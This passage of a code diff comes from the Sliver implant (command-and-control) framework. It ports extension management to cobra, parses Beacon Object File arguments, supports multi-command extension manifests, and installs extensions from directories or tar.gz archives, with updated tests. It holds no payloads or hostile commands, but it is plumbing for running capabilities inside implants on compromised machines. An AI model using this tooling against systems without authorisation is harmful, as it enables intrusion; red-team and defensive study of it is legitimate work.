+		case "short":
+			provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
+		case "file":
+			provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
+		}
+
+		if err != nil {
+			return nil, err
+		}
+
+		// If argument not provided, handle according to rules
+		if !provided {
+			if argDef.Optional {
+				// Try to apply default or type-appropriate zero value
+				err = bofApplyDefaultValue(argDef, argsBuffer)
+				if err != nil {
+					return nil, err
+				}
+			} else {
+				// Required argument was not provided
+				missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
+			}
+		}
+	}
+
+	return missingRequiredArgs, nil
+}
+
+// bofProcessStringArg processes a string argument
+func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
+	argsBuffer core.BOFArgsBuffer) (bool, error) {
+
+	ptr := stringValues[argDef.Name]
+	flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
+
+	if flagWasSet {
+		err := argsBuffer.AddString(*ptr)
+		if err != nil {
+			return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
+		}
+		return true, nil
+	}
+
+	return false, nil
+}
+
+// bofProcessWStringArg processes a wide string argument
+func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
+	argsBuffer core.BOFArgsBuffer) (bool, error) {
+
+	ptr := wstringValues[argDef.Name]
+	flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
+
+	if flagWasSet {
+		err := argsBuffer.AddWString(*ptr)
+		if err != nil {
+			return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
+		}
+		return true, nil
+	}
+
+	return false, nil
+}
+
+// bofProcessIntArg processes an integer argument
+func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
+	argsBuffer core.BOFArgsBuffer) (bool, error) {
+
+	ptr := intValues[argDef.Name]
+	flagWasSet := bofFlagWasProvided(fs, argDef.Name)
+
+	if flagWasSet {
+		err := argsBuffer.AddInt(uint32(*ptr))
+		if err != nil {
+			return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
+		}
+		return true, nil
+	}
+
+	return false, nil
+}
+
+// bofProcessShortArg processes a short integer argument
+func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
+	argsBuffer core.BOFArgsBuffer) (bool, error) {
+
+	ptr := shortValues[argDef.Name]
+	flagWasSet := bofFlagWasProvided(fs, argDef.Name)
+
+	if flagWasSet {
+		err := argsBuffer.AddShort(uint16(*ptr))
+		if err != nil {
+			return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
+		}
+		return true, nil
+	}
+
+	return false, nil
+}
+
+// bofProcessFileArg processes a file argument
+func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
+	argsBuffer core.BOFArgsBuffer) (bool, error) {
+
+	ptr := fileValues[argDef.Name]
+	flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
+
+	if flagWasSet {
+		// Validate file exists and read it
+		data, err := os.ReadFile(*ptr)
+		if err != nil {
+			return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
+		}
+		err = argsBuffer.AddData(data)
+		if err != nil {
+			return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
+		}
+		return true, nil
+	}
+
+	return false, nil
+}
+
+// bofApplyDefaultValue applies a default value based on the argument definition
+func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
+	// Try to use default value from manifest if available
+	if argDef.Default != nil {
+		switch argDef.Type {
+		case "string":
+			// Handle string default - could be string literal or numeric in JSON
+			defaultVal, ok := argDef.Default.(string)
+			if !ok {
+				// Try to convert from other types
+				defaultVal = fmt.Sprintf("%v", argDef.Default)
+			}
+			err := argsBuffer.AddString(defaultVal)
+			if err != nil {
+				return fmt.Errorf("failed to add default string: %v", err)
+			}
+			fmt.Printf("  -%s:%s (default)\n", argDef.Name, defaultVal)
+
+		case "wstring":
+			// Handle wstring default
+			defaultVal, ok := argDef.Default.(string)
+			if !ok {
+				defaultVal = fmt.Sprintf("%v", argDef.Default)
+			}
+			err := argsBuffer.AddWString(defaultVal)
+			if err != nil {
+				return fmt.Errorf("failed to add default wstring: %v", err)
+			}
+			fmt.Printf("  -%s:%s (default)\n", argDef.Name, defaultVal)
+
+		case "int", "integer":
+			// Handle int default - could be number or string in JSON
+			var defaultInt uint32
+
+			// Try as number first
+			numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
+			if ok {
+				defaultInt = uint32(numVal)
+			} else {
+				// Try as string
+				strVal, ok := argDef.Default.(string)
+				if ok {
+					val, err := strconv.ParseUint(strVal, 10, 32)
+					if err == nil {
+						defaultInt = uint32(val)
+					}
+				}
+			}
+
+			err := argsBuffer.AddInt(defaultInt)
+			if err != nil {
+				return fmt.Errorf("failed to add default int: %v", err)
+			}
+			fmt.Printf("  -%s:%d (default)\n", argDef.Name, defaultInt)
+
+		case "short":
+			// Handle short default - could be number or string in JSON
+			var defaultShort uint16
+
+			// Try as number first
+			numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
+			if ok {
+				defaultShort = uint16(numVal)
+			} else {
+				// Try as string
+				strVal, ok := argDef.Default.(string)
+				if ok {
+					val, err := strconv.ParseUint(strVal, 10, 16)
+					if err == nil {
+						defaultShort = uint16(val)
+					}
+				}
+			}
+
+			err := argsBuffer.AddShort(defaultShort)
+			if err != nil {
+				return fmt.Errorf("failed to add default short: %v", err)
+			}
+			fmt.Printf("  -%s:%d (default)\n", argDef.Name, defaultShort)
+
+		case "file":
+			// Default for file doesn't really make sense, but handle for completeness
+			err := argsBuffer.AddData([]byte{})
+			if err != nil {
+				return fmt.Errorf("failed to add default file data: %v", err)
+			}
+			fmt.Printf("  -%s:<empty> (default)\n", argDef.Name)
+		}
+	} else {
+		// No default specified in manifest, use type-appropriate zero values
+		switch argDef.Type {
+		case "string":
+			err := argsBuffer.AddString("")
+			if err != nil {
+				return fmt.Errorf("failed to add default string: %v", err)
+			}
+			fmt.Printf("  -%s:<empty> (default)\n", argDef.Name)
+
+		case "wstring":
+			err := argsBuffer.AddWString("")
+			if err != nil {
+				return fmt.Errorf("failed to add default wstring: %v", err)
+			}
+			fmt.Printf("  -%s:<empty> (default)\n", argDef.Name)
+
+		case "int", "integer":
+			err := argsBuffer.AddInt(0)
+			if err != nil {
+				return fmt.Errorf("failed to add default int: %v", err)
+			}
+			fmt.Printf("  -%s:0 (default)\n", argDef.Name)
+
+		case "short":
+			err := argsBuffer.AddShort(0)
+			if err != nil {
+				return fmt.Errorf("failed to add default short: %v", err)
+			}
+			fmt.Printf("  -%s:0 (default)\n", argDef.Name)
+
+		case "file":
+			// Empty data for optional file
+			err := argsBuffer.AddData([]byte{})
+			if err != nil {
+				return fmt.Errorf("failed to add default file data: %v", err)
+			}
+			fmt.Printf("  -%s:<empty> (default)\n", argDef.Name)
+		}
+	}
+
+	return nil
+}
+
+// bofDebugPrintParsedFlags prints information about the parsed flags
+func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
+	stringValues map[string]*string,
+	wstringValues map[string]*string,
+	intValues map[string]*int,
+	shortValues map[string]*int,
+	fileValues map[string]*string) {
+
+	fmt.Println("parsed flags:")
+
+	for _, arg := range ext.Arguments {
+		flagName := arg.Name
+		wasProvided := bofFlagWasProvided(fs, flagName)
+
+		if wasProvided {
+			switch arg.Type {
+			case "string":
+				fmt.Printf("  -%s:%s\n", flagName, *stringValues[flagName])
+			case "wstring":
+				fmt.Printf("  -%s:%s\n", flagName, *wstringValues[flagName])
+			case "int", "integer":
+				fmt.Printf("  -%s:%d\n", flagName, *intValues[flagName])
+			case "short":
+				fmt.Printf("  -%s:%d\n", flagName, *shortValues[flagName])
+			case "file":
+				fmt.Printf("  -%s:%s\n", flagName, *fileValues[flagName])
+			}
+		}
+	}
+}
+
+// bofFlagWasProvided checks if a flag was explicitly set
+func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
+	provided := false
+	fs.Visit(func(f *flag.Flag) {
+		if f.Name == name {
+			provided = true
+		}
+	})
+	return provided
+}
@@ -0,0 +1,89 @@
+package extensions
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/command/use"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the 'extensions' command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	extensionCmd := &cobra.Command{
+		Use:     consts.ExtensionsStr,
+		Short:   "Manage extensions",
+		Long:    help.GetHelpFor([]string{consts.ExtensionsStr}),
+		GroupID: consts.GenericHelpGroup,
+		Run: func(cmd *cobra.Command, _ []string) {
+			ExtensionsCmd(cmd, con)
+		},
+	}
+
+	extensionLoadCmd := &cobra.Command{
+		Use:   consts.LoadStr,
+		Short: "Temporarily load an extension from a local directory",
+		Long:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExtensionLoadCmd(cmd, con, args)
+		},
+	}
+	extensionCmd.AddCommand(extensionLoadCmd)
+	carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
+
+	extensionInstallCmd := &cobra.Command{
+		Use:   consts.InstallStr,
+		Short: "Install an extension from a local directory or .tar.gz file",
+		Long:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExtensionsInstallCmd(cmd, con, args)
+		},
+	}
+	extensionCmd.AddCommand(extensionInstallCmd)
+	carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
+
+	extensionRmCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove an installed extension",
+		Args:  cobra.ExactArgs(1),
+		Long:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExtensionsRemoveCmd(cmd, con, args)
+		},
+	}
+	extensionCmd.AddCommand(extensionRmCmd)
+	carapace.Gen(extensionRmCmd).PositionalCompletion(ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove"))
+
+	return []*cobra.Command{extensionCmd}
+}
+
+func SliverCommands(con *console.SliverClient) []*cobra.Command {
+	extensionCmd := &cobra.Command{
+		Use:         consts.ExtensionsStr,
+		Short:       "Manage extensions",
+		Long:        help.GetHelpFor([]string{consts.ExtensionsStr}),
+		GroupID:     consts.InfoHelpGroup,
+		Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
+	}
+
+	listCmd := &cobra.Command{
+		Use:   consts.ListStr,
+		Short: "List extensions loaded in the current session",
+		Long:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExtensionsListCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	extensionCmd.AddCommand(listCmd)
+
+	carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
+
+	return []*cobra.Command{extensionCmd}
+}
@@ -21,28 +21,30 @@ package extensions
 import (
 	"encoding/json"
 	"fmt"
-	"io/ioutil"
+	"os"
+	"path/filepath"
 	"strings"

 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
 	"github.com/jedib0t/go-pretty/v6/text"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
 )

-// ExtensionsCmd - List information about installed extensions
-func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if 0 < len(getInstalledManifests()) {
+// ExtensionsCmd - List information about installed extensions.
+func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) {
+	if len(GetAllExtensionManifests()) > 0 {
 		PrintExtensions(con)
 	} else {
 		con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
 	}
 }

-// PrintExtensions - Print a list of loaded extensions
-func PrintExtensions(con *console.SliverConsoleClient) {
+// PrintExtensions - Print a list of loaded extensions.
+func PrintExtensions(con *console.SliverClient) {
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.AppendHeader(table.Row{
@@ -64,25 +66,31 @@ func PrintExtensions(con *console.SliverConsoleClient) {

 	installedManifests := getInstalledManifests()
 	for _, extension := range loadedExtensions {
+		//for _, extension := range extensionm.ExtCommand {
 		installed := ""
-		if _, ok := installedManifests[extension.CommandName]; ok {
-			installed = "✅"
+		//if _, ok := installedManifests[extension.Manifest.Name]; ok {
+		for _, installedManifest := range installedManifests {
+			if extension.Manifest.RootPath == installedManifest.RootPath {
+				installed = "✅"
+				break
+			}
 		}
 		tw.AppendRow(table.Row{
-			extension.Name,
+			extension.Manifest.Name,
 			extension.CommandName,
 			strings.Join(extensionPlatforms(extension), ",\n"),
-			extension.Version,
+			extension.Manifest.Version,
 			installed,
-			extension.ExtensionAuthor,
-			extension.OriginalAuthor,
-			extension.RepoURL,
+			extension.Manifest.ExtensionAuthor,
+			extension.Manifest.OriginalAuthor,
+			extension.Manifest.RepoURL,
 		})
+		//}
 	}
 	con.Println(tw.Render())
 }

-func extensionPlatforms(extension *ExtensionManifest) []string {
+func extensionPlatforms(extension *ExtCommand) []string {
 	platforms := map[string]string{}
 	for _, entry := range extension.Files {
 		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
@@ -94,11 +102,14 @@ func extensionPlatforms(extension *ExtensionManifest) []string {
 	return keys
 }

+// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
+// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
+// The returned manifests have their RootPath set to the directory containing their manifest file.
 func getInstalledManifests() map[string]*ExtensionManifest {
 	manifestPaths := assets.GetInstalledExtensionManifests()
 	installedManifests := map[string]*ExtensionManifest{}
 	for _, manifestPath := range manifestPaths {
-		data, err := ioutil.ReadFile(manifestPath)
+		data, err := os.ReadFile(manifestPath)
 		if err != nil {
 			continue
 		}
@@ -107,19 +118,68 @@ func getInstalledManifests() map[string]*ExtensionManifest {
 		if err != nil {
 			continue
 		}
-		installedManifests[manifest.CommandName] = manifest
+		manifest.RootPath = filepath.Dir(manifestPath)
+		installedManifests[manifest.Name] = manifest
 	}
 	return installedManifests
 }

-// ExtensionsCommandNameCompleter - Completer for installed extensions command names
-func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	installedManifests := getInstalledManifests()
-	results := []string{}
-	for _, manifest := range installedManifests {
-		if strings.HasPrefix(manifest.CommandName, prefix) {
-			results = append(results, manifest.CommandName)
-		}
+// getTemporarilyLoadedManifests returns a map of extension manifests that are currently
+// loaded into memory but not permanently installed. The map is keyed by the manifest's
+// Name field.
+func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
+	tempManifests := map[string]*ExtensionManifest{}
+	for name, manifest := range loadedManifests {
+		tempManifests[name] = manifest
 	}
-	return results
+	return tempManifests
+}
+
+// GetAllExtensionManifests returns a combined list of manifest file paths from
+// both installed and temporarily loaded extensions
+func GetAllExtensionManifests() []string {
+	manifestPaths := make(map[string]struct{}) // use map for deduplication
+
+	// Add installed manifests
+	for _, manifest := range getInstalledManifests() {
+		manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
+		manifestPaths[manifestPath] = struct{}{}
+	}
+
+	// Add temporarily loaded manifests
+	for _, manifest := range getTemporarilyLoadedManifests() {
+		manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
+		manifestPaths[manifestPath] = struct{}{}
+	}
+
+	// Convert to slice
+	paths := make([]string, 0, len(manifestPaths))
+	for path := range manifestPaths {
+		paths = append(paths, path)
+	}
+	return paths
+}
+
+// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
+func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		//installedManifests := getInstalledManifests()
+		results := []string{}
+		for _, manifest := range loadedExtensions {
+			results = append(results, manifest.CommandName)
+			results = append(results, manifest.Help)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("extension commands")
+	})
+}
+
+func ManifestCompleter() carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := []string{}
+		for k := range loadedManifests {
+			results = append(results, k)
+		}
+		return carapace.ActionValues(results...).Tag("extensions")
+	})
 }
@@ -1,5 +1,10 @@
 package extensions

+import (
+	"encoding/json"
+	"testing"
+)
+
 /*
 	Sliver Implant Framework
 	Copyright (C) 2021  Bishop Fox
@@ -18,26 +23,25 @@ package extensions
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

-import (
-	"encoding/json"
-	"testing"
-)
-
 const (
 	sample1 = `{
 	"name": "test1",
-	"command_name": "test1",
 	"version": "1.0.0",
 	"extension_author": "test",
 	"original_author": "test",
 	"repo_url": "https://example.com/",
-	"help": "some help",
-	"files": [
-		{
-			"os": "windows",
-			"arch": "amd64",
-			"path": "foo/test1.dll"
-		}
+	"commands":[
+	{
+		"command_name": "test1",
+		"help": "some help",
+		"files": [
+			{
+				"os": "windows",
+				"arch": "amd64",
+				"path": "foo/test1.dll"
+			}
+		]
+	}
 	]
 }`

@@ -53,6 +57,60 @@ const (
 		}
 	]
 }`
+	sample3 = `{
+	"name": "test3",
+	"version": "1.0.0",
+	"extension_author": "test",
+	"original_author": "test",
+	"repo_url": "https://example.com/",
+	"commands": [
+		{
+			"command_name": "test3",
+			"help": "some help",
+			"files": [
+				{
+					"os": "windows",
+					"arch": "amd64",
+					"path": "foo/test1.dll"
+				}
+			]
+		}
+	]
+}`
+
+	multicmd = `{
+		"name": "example-multientry",
+		"version": "0.0.0",
+		"extension_author": "cs",
+		"original_author": "cs",
+		"repo_url": "no",
+		"commands": [
+			{
+				"command_name": "startw",
+				"help": "startw",
+				"entrypoint": "StartW",
+				"files": [
+					{
+						"os": "windows",
+						"arch": "amd64",
+						"path": "ex.dll"
+					}
+				]
+			},
+			{
+				"command_name": "Test2",
+				"help": "startw",
+				"entrypoint": "Test2",
+				"files": [
+					{
+						"os": "windows",
+						"arch": "amd64",
+						"path": "ex.dll"
+					}
+				]
+			}
+		]
+	}`
 )

 func TestParseExtensionManifest(t *testing.T) {
@@ -63,9 +121,7 @@ func TestParseExtensionManifest(t *testing.T) {
 	if extManifest.Name != "test1" {
 		t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
 	}
-	if extManifest.CommandName != "test1" {
-		t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
-	}
+
 	if extManifest.Version != "1.0.0" {
 		t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
 	}
@@ -78,67 +134,86 @@ func TestParseExtensionManifest(t *testing.T) {
 	if extManifest.RepoURL != "https://example.com/" {
 		t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
 	}
-	if extManifest.Help != "some help" {
-		t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
-	}
-	if len(extManifest.Files) != 1 {
-		t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
-	}
-	if extManifest.Files[0].OS != "windows" {
-		t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
-	}
-	if extManifest.Files[0].Arch != "amd64" {
-		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
-	}
-	if extManifest.Files[0].Path != "/foo/test1.dll" {
-		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
+	for _, extCmd := range extManifest.ExtCommand { //should only be a single manfiest here, so should pass
+		if extCmd.CommandName != "test1" {
+			t.Errorf("Expected extension command name 'test1', got '%s'", extCmd.CommandName)
+		}
+		if extCmd.Help != "some help" {
+			t.Errorf("Expected help 'some help', got '%s'", extCmd.Help)
+		}
+		if len(extCmd.Files) != 1 {
+			t.Errorf("Expected 1 file, got %d", len(extCmd.Files))
+		}
+		if extCmd.Files[0].OS != "windows" {
+			t.Errorf("Expected OS 'windows', got '%s'", extCmd.Files[0].OS)
+		}
+		if extCmd.Files[0].Arch != "amd64" {
+			t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch)
+		}
+		if extCmd.Files[0].Path != "/foo/test1.dll" {
+			t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path)
+		}
 	}

-	extManifest2, err := ParseExtensionManifest([]byte(sample2))
+	mextManifest2, err := ParseExtensionManifest([]byte(sample2)) //checking old manifests work good too
 	if err != nil {
 		t.Fatalf("Error parsing extension manifest (2): %s", err)
 	}
-	if extManifest2.Name != "test2" {
-		t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
+	if mextManifest2.Name != "test2" {
+		t.Errorf("Expected extension name 'test2', got '%s'", mextManifest2.Name)
 	}
-	if extManifest2.CommandName != "test2" {
-		t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
-	}
-	if extManifest2.Help != "some help" {
-		t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
-	}
-	if len(extManifest2.Files) != 1 {
-		t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
-	}
-	if extManifest2.Files[0].OS != "windows" {
-		t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
-	}
-	if extManifest2.Files[0].Arch != "amd64" {
-		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
-	}
-	if extManifest2.Files[0].Path != "/foo/test1.dll" {
-		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
+	for _, extManifest2 := range mextManifest2.ExtCommand {
+		if extManifest2.CommandName != "test2" {
+			t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
+		}
+		if extManifest2.Help != "some help" {
+			t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
+		}
+		if len(extManifest2.Files) != 1 {
+			t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
+		}
+		if extManifest2.Files[0].OS != "windows" {
+			t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
+		}
+		if extManifest2.Files[0].Arch != "amd64" {
+			t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
+		}
+		if extManifest2.Files[0].Path != "/foo/test1.dll" {
+			t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
+		}
 	}
+
 }

-const (
-	sample3 = `{
-	"name": "test3",
-	"command_name": "test3",
-	"version": "1.0.0",
-	"extension_author": "test",
-	"original_author": "test",
-	"repo_url": "https://example.com/",
-	"help": "some help",
-	"files": [
-		{
-			"os": "windows",
-			"arch": "amd64",
-			"path": "foo/test1.dll"
-		}
-	]
-}`
-)
+func TestParseMultipleCmdManifest(t *testing.T) {
+	mextManifest, err := ParseExtensionManifest([]byte(multicmd))
+	if err != nil {
+		t.Errorf("error parsing manifest: %s", err)
+	}
+	if mextManifest.Name != "example-multientry" {
+		t.Errorf("expected name example-multientry, got %s", mextManifest.Name)
+	}
+
+	if mextManifest.ExtCommand[0].CommandName != "startw" {
+		t.Errorf("expected commandname startw, got %s", mextManifest.ExtCommand[0].CommandName)
+	}
+	if mextManifest.ExtCommand[1].CommandName != "Test2" {
+		t.Errorf("expected commandname Test2, got %s", mextManifest.ExtCommand[1].CommandName)
+	}
+	if mextManifest.ExtCommand[0].Entrypoint != "StartW" {
+		t.Errorf("expected entrypoint StartW, got %s", mextManifest.ExtCommand[0].Entrypoint)
+	}
+	if mextManifest.ExtCommand[1].Entrypoint != "Test2" {
+		t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint)
+	}
+	if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
+		t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
+	}
+	if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
+		t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
+	}
+	//maybe some more? args?
+}

 func TestParseExtensionManifestErrors(t *testing.T) {
 	sample3, err := ParseExtensionManifest([]byte(sample3))
@@ -155,7 +230,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 	}

 	missingCmdName := (*sample3)
-	missingCmdName.CommandName = ""
+	missingCmdName.ExtCommand[0].CommandName = ""
 	data, _ = json.Marshal(missingCmdName)
 	_, err = ParseExtensionManifest(data)
 	if err == nil {
@@ -163,7 +238,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 	}

 	missingHelp := (*sample3)
-	missingHelp.Help = ""
+	missingHelp.ExtCommand[0].Help = ""
 	data, _ = json.Marshal(missingHelp)
 	_, err = ParseExtensionManifest(data)
 	if err == nil {
@@ -171,7 +246,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 	}

 	missingFiles := (*sample3)
-	missingFiles.Files = []*extensionFile{}
+	missingFiles.ExtCommand[0].Files = []*extensionFile{}
 	data, _ = json.Marshal(missingFiles)
 	_, err = ParseExtensionManifest(data)
 	if err == nil {
@@ -179,7 +254,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 	}

 	missingFileOS := (*sample3)
-	missingFileOS.Files = []*extensionFile{
+	missingFileOS.ExtCommand[0].Files = []*extensionFile{
 		{
 			OS:   "",
 			Arch: "amd64",
@@ -193,7 +268,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 	}

 	missingFileArch := (*sample3)
-	missingFileArch.Files = []*extensionFile{
+	missingFileArch.ExtCommand[0].Files = []*extensionFile{
 		{
 			OS:   "windows",
 			Arch: "",
@@ -207,7 +282,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 	}

 	missingFilePath := (*sample3)
-	missingFilePath.Files = []*extensionFile{
+	missingFilePath.ExtCommand[0].Files = []*extensionFile{
 		{
 			OS:   "windows",
 			Arch: "amd64",
@@ -228,7 +303,7 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 	}
 	for _, invalidPath := range invalidPaths {
 		missingFilePath2 := (*sample3)
-		missingFilePath2.Files = []*extensionFile{
+		missingFilePath2.ExtCommand[0].Files = []*extensionFile{
 			{
 				OS:   "windows",
 				Arch: "amd64",
@@ -241,5 +316,4 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 			t.Fatalf("Expected missing files.path error, got none")
 		}
 	}
-
 }
@@ -20,138 +20,131 @@ package extensions

 import (
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path/filepath"
+	"strings"

 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-// ExtensionsInstallCmd - Install an extension
-func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	extLocalPath := ctx.Args.String("path")
-	fi, err := os.Stat(extLocalPath)
+// ExtensionsInstallCmd - Install an extension.
+func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	extLocalPath := args[0]
+
+	_, err := os.Stat(extLocalPath)
 	if os.IsNotExist(err) {
 		con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
 		return
 	}
-	if !fi.IsDir() {
-		InstallFromFilePath(extLocalPath, false, con)
-	} else {
-		installFromDir(extLocalPath, con)
-	}
+	InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
 }

-// Install an extension from a directory
-func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
-	manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
+// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
+// It reads the extension manifest, validates it, and copies all required files to the extensions
+// directory. If an extension with the same name already exists, it can optionally prompt for
+// overwrite confirmation.
+//
+// Parameters:
+//   - extLocalPath: Path to the source directory or gzipped archive containing the extension
+//   - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
+//   - con: Sliver console client for displaying status and error messages
+//   - isGz: Whether the source is a gzipped archive (true) or directory (false)
+//
+// The function will return early with error messages printed to console if:
+//   - The manifest cannot be read or parsed
+//   - Required directories cannot be created
+//   - File copy operations fail
+//   - User declines overwrite when prompted
+func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
+	var manifestData []byte
+	var err error
+
+	if isGz {
+		manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
+	} else {
+		manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
+	}
 	if err != nil {
 		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
 		return
 	}
-	manifest, err := ParseExtensionManifest(manifestData)
+
+	manifestF, err := ParseExtensionManifest(manifestData)
